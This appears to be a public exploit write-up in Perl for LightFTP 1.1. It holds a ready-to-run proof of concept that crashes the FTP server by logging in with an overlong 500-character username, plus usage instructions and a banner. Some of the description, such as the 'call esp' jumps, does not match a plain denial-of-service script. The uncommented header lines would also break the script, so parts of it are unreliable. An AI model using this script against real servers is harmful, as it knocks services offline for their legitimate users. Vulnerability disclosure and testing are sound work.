#!/usr/bin/perl

use Net::FTP;

Exploit Title: LightFTP 1.1 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 15 january 2024

Vendor Homepage: N/A

Notification vendor: No reported

Tested Version: LightFTP 1.1

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the FTP server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $payload = "\x41"x500;    

my $ftp = Net::FTP->new($ip, Debug => 0) or die "Não foi possível se conectar ao servidor: $@";

$ftp->login($payload,"anonymous") or die "[+] Possibly exploited!";              

$ftp->quit;

print "[+] Done - Exploited success!!!!!\n\n";

 sub intro {  
  print q {

                          ,--,  
                   _ ___/ /\|  
               ,;'( )__, )  ~  
              //  //   '--;   
              '   \     | ^  
                   ^    ^

  [+] LightFTP 1.1 - Denial of Service (DoS)

  [*] Coded by Fernando Mengali

  [@] e-mail: [email protected]

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated